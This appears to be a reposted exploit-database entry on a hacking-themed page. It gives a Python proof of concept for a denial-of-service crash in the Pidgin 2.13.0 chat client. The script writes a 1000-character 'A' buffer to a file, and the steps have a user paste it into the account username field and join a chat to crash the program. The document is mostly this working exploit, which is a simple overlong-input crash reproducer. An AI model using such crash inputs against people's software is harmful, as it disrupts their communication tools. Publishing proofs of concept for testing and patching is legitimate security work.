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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# -*- coding: utf-8 -*-
# Exploit Title: Pidgin 2.13.0 - Denial of Service (PoC)
# Date: 24/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://pidgin.im/
# Software https://cfhcable.dl.sourceforge.net/project/pidgin/Pidgin/2.13.0/pidgin-2.13.0.exe
# Version: 2.13.0
# Tested on: Windows 7, Windows 10

# Proof of Concept:
# 1.- Run the python script 'pidgin.py', it will create a new file 'pidgin.txt'
# 2.- Open Pidgin
# 3.- Go to 'Accounts' > 'Manage Accounts'
# 4.- Click 'Add...', paste the content of pidgin.txt into the field 'Username', 
#     into the field 'Password' write anything, e.g. 1234 and click 'Add'
# 5.- On the taskbar, click show hidden icons, right click on Pingin and select 'Join Chat...'
# 6.- Now click 'Join' and crashed

buffer = "\x41" * 1000

f = open ("pidgin.txt", "w")
f.write(buffer)
f.close()